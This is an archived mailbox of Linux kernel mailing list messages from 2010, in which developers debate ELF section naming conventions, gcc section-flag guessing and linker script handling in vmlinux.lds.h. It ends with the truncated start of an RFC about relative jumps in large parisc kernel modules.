	id S1760667Ab0FQTLs convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Jun 2010 15:11:48 -0400
Original-Received: from mail-iw0-f174.google.com ([209.85.214.174]:64199 "EHLO
	mail-iw0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757354Ab0FQTLr convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 17 Jun 2010 15:11:47 -0400
Original-Received: by iwn9 with SMTP id 9so184777iwn.19
        for <multiple recipients>; Thu, 17 Jun 2010 12:11:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:mime-version:received:received:in-reply-to
         :references:date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=VvmPbN3402JEQcia917iD4zI1SII+YHexkLBvDekfvA=;
        b=oCBY1XMqPlvQJFJu9Q2ktcDbNIJtPshStV9wTn5wX7qkTEiW7giDjmHcDmMQ6U8OVR
         aPhinpAcydH/9PaSL/0FfoH3J2tbAnj986+jcBa1rIKtCik+otA4c0hgydhUR4HbK5ZZ
         YtrFsIYWyK82/reFp8hdGrJzUOOsSTYW4XMss=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=raAeM8NcOePORWDs/p5SWcLpVLn8VsmdBcbL82Uyh0f7cRRzi7NJZsTBuosUAzewoe
         DVHaFETRMSy5NQq6bDF4oB1hKFdrMK/7PRyQ/zW/833KRQx5iKM8Cc0M0OmpBP+ZMVkA
         OH+HWgxImtZDEDWSmUILLqotd2Q7Ox+Q2PmMU=
Original-Received: by 10.231.204.199 with SMTP id fn7mr588027ibb.132.1276801906929; 
	Thu, 17 Jun 2010 12:11:46 -0700 (PDT)
Original-Received: by 10.231.127.11 with HTTP; Thu, 17 Jun 2010 12:11:46 -0700 (PDT)
In-Reply-To: <1276724403.2847.453.camel@mulgrave.site>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:6712 gmane.linux.kernel:1000074 gmane.linux.ports.parisc:2952
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2952>

On Wed, Jun 16, 2010 at 11:40 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> True ... but I didn't say that it was valid C. =A0I said the compiler=
 is
> spitting them out in the assembly ... I suspect it uses invalid C
> function characters precisely to avoid clashes.

Then we need to add all such chars to that regexp.

> The problem is that it's hard to get the linker to distinguish
> between .text.. and .text. without funny regexp contortions. =A0Howev=
er,
> if the two sections began .text- and .text. they are easy to distingu=
ish
> because one prefix isn't a subset of the other.
>
>> Both .page_aligned.data and .data-page_aligned are valid choices (an=
d in
>> fact, the first patch series I sent on this topic about 18 months ag=
o did
>> .page_aligned.data, I think).
>>
>> The main technical difference between ".data..page_aligned" and
>> ".page_aligned.data" in my view is that you need to be more careful =
when
>> writing assembly files with ".page_aligned.data".
>>
>> To give an example, if I run the following:
>>
>> $ cat > foo.s
>> .section .data-page-aligned
>> =A0 =A0 =A0 .long 0
>> .section .data.page_aligned
>> =A0 =A0 =A0 .long 1
>> $ gcc -c foo.s -o foo.o
>> $ objdump -h foo.o
>> foo.o: =A0 =A0 file format elf32-i386
>>
>> Sections:
>> Idx Name =A0 =A0 =A0 =A0 =A0Size =A0 =A0 =A0VMA =A0 =A0 =A0 LMA =A0 =
=A0 =A0 File off =A0Algn
>> =A0 0 .text =A0 =A0 =A0 =A0 00000000 =A000000000 =A000000000 =A00000=
0034 =A02**2
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 CONTENTS, ALLOC, LOAD, READONLY,=
 CODE
>> =A0 1 .data =A0 =A0 =A0 =A0 00000000 =A000000000 =A000000000 =A00000=
0034 =A02**2
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 CONTENTS, ALLOC, LOAD, DATA
>> =A0 2 .bss =A0 =A0 =A0 =A0 =A000000000 =A000000000 =A000000000 =A000=
000034 =A02**2
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 ALLOC
>> =A0 3 .data-page-aligned 00000004 =A000000000 =A000000000 =A00000003=
4 =A02**0
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 CONTENTS, READONLY
>> =A0 4 .data.page_aligned 00000004 =A000000000 =A000000000 =A00000003=
8 =A02**0
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 CONTENTS, ALLOC, LOAD, DATA
>>
>> one can see that the .data-page-aligned section doesn't have the rig=
ht
>> section flags. =A0So I'm pretty sure the relevant assembler heuristi=
c is
>> looking for things starting with ".data.", not just ".data".
>>
>> The kernel has a lot of code in assembly files that just does:
>>
>> .section ".data"
>>
>> and so there's a very real risk that folks who are doing pattern-mat=
ching
>> development on assembly files will end up creating non-allocated sec=
tions
>> by accident (I've certainly made this mistake myself, and there's a =
bug of
>> this form in arch/x86/lib/thunk.S until commit
>> c6c2d7a084d14a8a701be84872aa1b77d2945f46, so I don't think I'm alone=
)
>
> But that commit isn't anything to do with the section not being
> allocated. =A0That's actually irrelevant to us, since we sort out the
> sectional allocations out at link time with the linker script (which
> ends up completely ignoring the original file flags). =A0The problem,
> specifically, is that the linker does a rename of two identically nam=
ed
> sections with different flags ... we would also get the same behaviou=
r
> if the linker thought two sections weren't mergeable even if they did
> have identical flags.
>
> In general, I think it's good practise for all use of sections to
> specify the elf flags.

This is doable in asm, yes. For .bss, we need to not forget about
@nobits too: section .bss.foo,"aw",@nobits

> Actually, as I said, that would be .data-
>
> But, to be honest, I don't care that much about the data names becaus=
e
> we don't use -fdata-sections, the only objection is that having two
> separate conventions for text and data is adding needless complexity =
=2E..
> I do care about the text names, and I'd rather we stuck to the existi=
ng
> convention there, or provided a good reason for the change ... and
> wanting .text. as a prefix for everything is weak at best.
>
> The specific objection I have to converting everything to the .text..=
*
> prefix for linux sections is that the gather all function sections ca=
n
> no longer be *(.text.*), but has to become a regular expression, whic=
h
> is adding fragility.

I agree that it's not pretty, but otherwise we add fragility in other p=
laces:
every section directive must be correct now. These places are more nume=
rous
than linker scripts.

But, leaving aside the question whether we want to take the risk
of people forgetting to do it properly everywhere, -
is it even *possible* to specify these attributes in C - that is,
in gcc's __attribute__((section(".bss.foo")))?

I think currently gcc does not support it - it guesses attributes
based on the section name.

--=20
vda

From - Thu Nov 08 21:06:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/5] vmlinux.lds.h: Include *(.text.*) in TEXT_TEXT
Date: Thu, 17 Jun 2010 14:56:07 -0500
Lines: 115
Approved: news@gmane.org
Message-ID: <1276804567.7398.264.camel@mulgrave.site>
References: <1276519112-11649-1-git-send-email-matt@console-pimps.org>
	 <alpine.DEB.1.10.1006141014360.1432@dr-wily.mit.edu>
	 <87y6ehxvby.fsf@linux-g6p1.site> <1276545951.5374.260.camel@mulgrave.site>
	 <alpine.DEB.1.10.1006141608550.1248@dr-wily.mit.edu>
	 <1276556919.5374.822.camel@mulgrave.site>
	 <alpine.DEB.1.10.1006142039250.1248@dr-wily.mit.edu>
	 <1276724403.2847.453.camel@mulgrave.site>
	 <AANLkTikgzvZvb30QhSMs_GQ6MCawl0V6GzixnDYfqmzg@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276804588 4633 80.91.229.12 (17 Jun 2010 19:56:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 19:56:28 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	linux-kernel@vger.kernel.org, Sam Ravnborg <sam@ravnborg.org>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jun 17 21:56:25 2010
connect(): No such file or directory
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OPLCI-0004eJ-Ss
	for glka-linux-arch@lo.gmane.org; Thu, 17 Jun 2010 21:56:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760683Ab0FQT4W (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Jun 2010 15:56:22 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51038 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1760587Ab0FQT4V (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Thu, 17 Jun 2010 15:56:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 875778EE101;
	Thu, 17 Jun 2010 12:56:20 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QKG0rieeWHz7; Thu, 17 Jun 2010 12:56:20 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 1E1528EE0F8;
	Thu, 17 Jun 2010 12:56:12 -0700 (PDT)
In-Reply-To: <AANLkTikgzvZvb30QhSMs_GQ6MCawl0V6GzixnDYfqmzg@mail.gmail.com>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:6713 gmane.linux.kernel:1000082 gmane.linux.ports.parisc:2953
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2953>

On Thu, 2010-06-17 at 21:11 +0200, Denys Vlasenko wrote:
> On Wed, Jun 16, 2010 at 11:40 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > True ... but I didn't say that it was valid C.  I said the compiler is
> > spitting them out in the assembly ... I suspect it uses invalid C
> > function characters precisely to avoid clashes.
> 
> Then we need to add all such chars to that regexp.

Thus proving the point about fragility ...

> > The problem is that it's hard to get the linker to distinguish
> > between .text.. and .text. without funny regexp contortions.  However,
> > if the two sections began .text- and .text. they are easy to distinguish
> > because one prefix isn't a subset of the other.
> >
> >> Both .page_aligned.data and .data-page_aligned are valid choices (and in
> >> fact, the first patch series I sent on this topic about 18 months ago did
> >> .page_aligned.data, I think).
> >>
> >> The main technical difference between ".data..page_aligned" and
> >> ".page_aligned.data" in my view is that you need to be more careful when
> >> writing assembly files with ".page_aligned.data".
> >>
> >> To give an example, if I run the following:
> >>
> >> $ cat > foo.s
> >> .section .data-page-aligned
> >>       .long 0
> >> .section .data.page_aligned
> >>       .long 1
> >> $ gcc -c foo.s -o foo.o
> >> $ objdump -h foo.o
> >> foo.o:     file format elf32-i386
> >>
> >> Sections:
> >> Idx Name          Size      VMA       LMA       File off  Algn
> >>   0 .text         00000000  00000000  00000000  00000034  2**2
> >>                   CONTENTS, ALLOC, LOAD, READONLY, CODE
> >>   1 .data         00000000  00000000  00000000  00000034  2**2
> >>                   CONTENTS, ALLOC, LOAD, DATA
> >>   2 .bss          00000000  00000000  00000000  00000034  2**2
> >>                   ALLOC
> >>   3 .data-page-aligned 00000004  00000000  00000000  00000034  2**0
> >>                   CONTENTS, READONLY
> >>   4 .data.page_aligned 00000004  00000000  00000000  00000038  2**0
> >>                   CONTENTS, ALLOC, LOAD, DATA
> >>
> >> one can see that the .data-page-aligned section doesn't have the right
> >> section flags.  So I'm pretty sure the relevant assembler heuristic is
> >> looking for things starting with ".data.", not just ".data".
> >>
> >> The kernel has a lot of code in assembly files that just does:
> >>
> >> .section ".data"
> >>
> >> and so there's a very real risk that folks who are doing pattern-matching
> >> development on assembly files will end up creating non-allocated sections
> >> by accident (I've certainly made this mistake myself, and there's a bug of
> >> this form in arch/x86/lib/thunk.S until commit
> >> c6c2d7a084d14a8a701be84872aa1b77d2945f46, so I don't think I'm alone)
> >
> > But that commit isn't anything to do with the section not being
> > allocated.  That's actually irrelevant to us, since we sort out the
> > sectional allocations out at link time with the linker script (which
> > ends up completely ignoring the original file flags).  The problem,
> > specifically, is that the linker does a rename of two identically named
> > sections with different flags ... we would also get the same behaviour
> > if the linker thought two sections weren't mergeable even if they did
> > have identical flags.
> >
> > In general, I think it's good practise for all use of sections to
> > specify the elf flags.
> 
> This is doable in asm, yes. For .bss, we need to not forget about
> @nobits too: section .bss.foo,"aw",@nobits

That's only for bss ... we have about a handful of such statements and
they always use the assembler .bss directive (which doesn't need flags).

> > Actually, as I said, that would be .data-
> >
> > But, to be honest, I don't care that much about the data names because
> > we don't use -fdata-sections, the only objection is that having two
> > separate conventions for text and data is adding needless complexity ...
> > I do care about the text names, and I'd rather we stuck to the existing
> > convention there, or provided a good reason for the change ... and
> > wanting .text. as a prefix for everything is weak at best.
> >
> > The specific objection I have to converting everything to the .text..*
> > prefix for linux sections is that the gather all function sections can
> > no longer be *(.text.*), but has to become a regular expression, which
> > is adding fragility.
> 
> I agree that it's not pretty, but otherwise we add fragility in other places:
> every section directive must be correct now. These places are more numerous
> than linker scripts.

I thought I just refuted that in the above: we don't care what the
assembler sections are flagged as because the linker script gets to pick
the flags anyway ... so most bugs arrived at this way have no visible
side effects ... and section merging problems have to be accounted for
anyway in the final linker scripts.

James

> But, leaving aside the question whether we want to take the risk
> of people forgetting to do it properly everywhere, -
> is it even *possible* to specify these attributes in C - that is,
> in gcc's __attribute__((section(".bss.foo")))?
> 
> I think currently gcc does not support it - it guesses attributes
> based on the section name.



From - Thu Nov 08 21:06:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 1/5] vmlinux.lds.h: Include *(.text.*) in TEXT_TEXT
Date: Thu, 17 Jun 2010 22:19:07 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <AANLkTink485wn-EaLibaD3Xh7X5RwXM06d6jx3GijD40@mail.gmail.com>
References: <1276519112-11649-1-git-send-email-matt@console-pimps.org>
	<alpine.DEB.1.10.1006141014360.1432@dr-wily.mit.edu>
	<87y6ehxvby.fsf@linux-g6p1.site>
	<1276545951.5374.260.camel@mulgrave.site>
	<alpine.DEB.1.10.1006141608550.1248@dr-wily.mit.edu>
	<1276556919.5374.822.camel@mulgrave.site>
	<alpine.DEB.1.10.1006142039250.1248@dr-wily.mit.edu>
	<1276724403.2847.453.camel@mulgrave.site>
	<AANLkTikgzvZvb30QhSMs_GQ6MCawl0V6GzixnDYfqmzg@mail.gmail.com>
	<1276804567.7398.264.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1276805961 9889 80.91.229.12 (17 Jun 2010 20:19:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 20:19:21 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	linux-kernel@vger.kernel.org, Sam Ravnborg <sam@ravnborg.org>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 22:19:19 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPLYT-0008Vc-5w
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 22:19:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933295Ab0FQUTM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jun 2010 16:19:12 -0400
Original-Received: from mail-gx0-f174.google.com ([209.85.161.174]:41387 "EHLO
	mail-gx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933294Ab0FQUTJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jun 2010 16:19:09 -0400
Original-Received: by gxk21 with SMTP id 21so198814gxk.19
        for <multiple recipients>; Thu, 17 Jun 2010 13:19:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:mime-version:received:received:in-reply-to
         :references:date:message-id:subject:from:to:cc:content-type;
        bh=cA3AKVBd8/RpyQtppNYrNSoRy+YDsu5XHmSKoWyS6SI=;
        b=VwGz++/KpGiB4vg53NnIQ9JBL2Db+5HiejfBEggjA2NFL3QPdYNwWHkUkECD1NUeDw
         1LjwEPXT7MOi9gddh9gzopS3NkeaVcpt2B+KRYffsj80PVOTmyO7820xZqkpeQSQIY8n
         NvIg5OryPb8nodQlyTFsCBd2/6i77PcxsuLDU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        b=YUfQjqzVx1k767jiqWu1LndWRor/pIKEZUnql5QD0sldnU0T/7Guk1YlhmSepVzjrF
         1yUnHBsNlRyjpaouPaeoVuZus+TQ1h5lmsS4VWD5uSweHlFVfZWwEydVcZ8/++wldyWj
         JADwsvI7+9tiQvW/6kf6DvYsRmxptjTEqBIIM=
Original-Received: by 10.101.135.31 with SMTP id m31mr37180ann.164.1276805948144; Thu, 
	17 Jun 2010 13:19:08 -0700 (PDT)
Original-Received: by 10.231.127.11 with HTTP; Thu, 17 Jun 2010 13:19:07 -0700 (PDT)
In-Reply-To: <1276804567.7398.264.camel@mulgrave.site>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2954 gmane.linux.kernel.cross-arch:6714 gmane.linux.kernel:1000093
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2954>

>> This is doable in asm, yes. For .bss, we need to not forget about
>> @nobits too: section .bss.foo,"aw",@nobits
>
> That's only for bss ... we have about a handful of such statements and
> they always use the assembler .bss directive (which doesn't need flags).
>
>> > Actually, as I said, that would be .data-

You are right, in assembly we can specify needed attributes.

I am more concerned about C:

arch/x86/include/asm/cache.h:
#define __read_mostly __attribute__((__section__(".data..read_mostly")))

If we change it to

#define __read_mostly __attribute__((__section__(".data-read_mostly")))

What makes this section have correct attributes?

With current gcc, __attribute__((__section__(".bss-page_aligned")))
does get wrong attributes. That's why we settled on .bss..foo
scheme.

> I thought I just refuted that in the above: we don't care what the
> assembler sections are flagged as because the linker script gets to pick
> the flags anyway ... so most bugs arrived at this way have no visible
> side effects ... and section merging problems have to be accounted for
> anyway in the final linker scripts.

When I was working on a older iteration of this patch,
I renamed .bss.page_aligned to .page_aligned.bss
and was bitten by linker bug: linker tried to merge
the sections and corrupted them.

Aha, here is it:
http://sourceware.org/bugzilla/show_bug.cgi?id=5006

It was since fixed, and if I read the ld patch correctly,
now ld emits a warning and switches entire target section
to PROGBITS - not what we want to happen to bss.

-- 
vda
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/5] vmlinux.lds.h: Include *(.text.*) in TEXT_TEXT
Date: Thu, 17 Jun 2010 15:38:24 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <1276807104.7398.315.camel@mulgrave.site>
References: <1276519112-11649-1-git-send-email-matt@console-pimps.org>
	 <alpine.DEB.1.10.1006141014360.1432@dr-wily.mit.edu>
	 <87y6ehxvby.fsf@linux-g6p1.site> <1276545951.5374.260.camel@mulgrave.site>
	 <alpine.DEB.1.10.1006141608550.1248@dr-wily.mit.edu>
	 <1276556919.5374.822.camel@mulgrave.site>
	 <alpine.DEB.1.10.1006142039250.1248@dr-wily.mit.edu>
	 <1276724403.2847.453.camel@mulgrave.site>
	 <AANLkTikgzvZvb30QhSMs_GQ6MCawl0V6GzixnDYfqmzg@mail.gmail.com>
	 <1276804567.7398.264.camel@mulgrave.site>
	 <AANLkTink485wn-EaLibaD3Xh7X5RwXM06d6jx3GijD40@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276807119 14132 80.91.229.12 (17 Jun 2010 20:38:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 20:38:39 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	linux-kernel@vger.kernel.org, Sam Ravnborg <sam@ravnborg.org>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jun 17 22:38:33 2010
connect(): No such file or directory
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OPLr4-00006W-Vr
	for glka-linux-arch@lo.gmane.org; Thu, 17 Jun 2010 22:38:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759949Ab0FQUi3 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Jun 2010 16:38:29 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56323 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757466Ab0FQUi2 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Thu, 17 Jun 2010 16:38:28 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id ADA068EE101;
	Thu, 17 Jun 2010 13:38:27 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id a6mra-h0ni4T; Thu, 17 Jun 2010 13:38:27 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 73C378EE0F8;
	Thu, 17 Jun 2010 13:38:26 -0700 (PDT)
In-Reply-To: <AANLkTink485wn-EaLibaD3Xh7X5RwXM06d6jx3GijD40@mail.gmail.com>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:6715 gmane.linux.kernel:1000106 gmane.linux.ports.parisc:2955
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2955>

On Thu, 2010-06-17 at 22:19 +0200, Denys Vlasenko wrote:
> >> This is doable in asm, yes. For .bss, we need to not forget about
> >> @nobits too: section .bss.foo,"aw",@nobits
> >
> > That's only for bss ... we have about a handful of such statements and
> > they always use the assembler .bss directive (which doesn't need flags).
> >
> >> > Actually, as I said, that would be .data-
> 
> You are right, in assembly we can specify needed attributes.
> 
> I am more concerned about C:
> 
> arch/x86/include/asm/cache.h:
> #define __read_mostly __attribute__((__section__(".data..read_mostly")))
> 
> If we change it to
> 
> #define __read_mostly __attribute__((__section__(".data-read_mostly")))
> 
> What makes this section have correct attributes?

The fact that we specify it correctly in the sectional gather in the
linker scripts.  i.e. we should have a (NOLOAD) type for the
gathered .bss section ... although currently we don't.

The point (for the third time) is that if our linker scripts specify the
sections and attributes absolutely (and correctly) it doesn't matter
what random attributes the .o files pick up.  It's only if we miss a
specifier that the linker tries to work it out from the input sections.

That's how we make postfix or any other type of "nonstandard" section
name work.

James



From - Thu Nov 08 21:06:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC] fix the relative jump problem on large modules
Date: Fri, 18 Jun 2010 10:03:27 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <1276873407.2850.35.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276873423 23932 80.91.229.12 (18 Jun 2010 15:03:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Jun 2010 15:03:43 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 18 17:03:38 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPd6R-0005rL-OY
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Jun 2010 17:03:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933582Ab0FRPDb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jun 2010 11:03:31 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58225 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933496Ab0FRPDa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jun 2010 11:03:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 354E68EE0F8
	for <linux-parisc@vger.kernel.org>; Fri, 18 Jun 2010 08:03:30 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id eR8pkfNecArw for <linux-parisc@vger.kernel.org>;
	Fri, 18 Jun 2010 08:03:30 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B16068EE0E4
	for <linux-parisc@vger.kernel.org>; Fri, 18 Jun 2010 08:03:29 -0700 (PDT)
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2956
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2956>

Part of this arguing with ksplice about their plan for
-ffunction-sections and -fdata-sections got me thinking about how we do
modules.  Right at the moment we have one section for every function in
a module, which leads to a massive amount of relocation overhead in the
in-kernel module loader.  Plus for some modules (ipv6, I believe), we
lack the relative jumps to get out of the function because we only put
the stubs after all the text sections.

The way to fix all of this, I think, is to make the real linker do more
work.  It should be beneficial to us because the linker *should* be able
to rearrange the sections to get the maximum number of jumps satisfiable
relatively.

I've tested that this works on pa8800 systems, but I'd really like
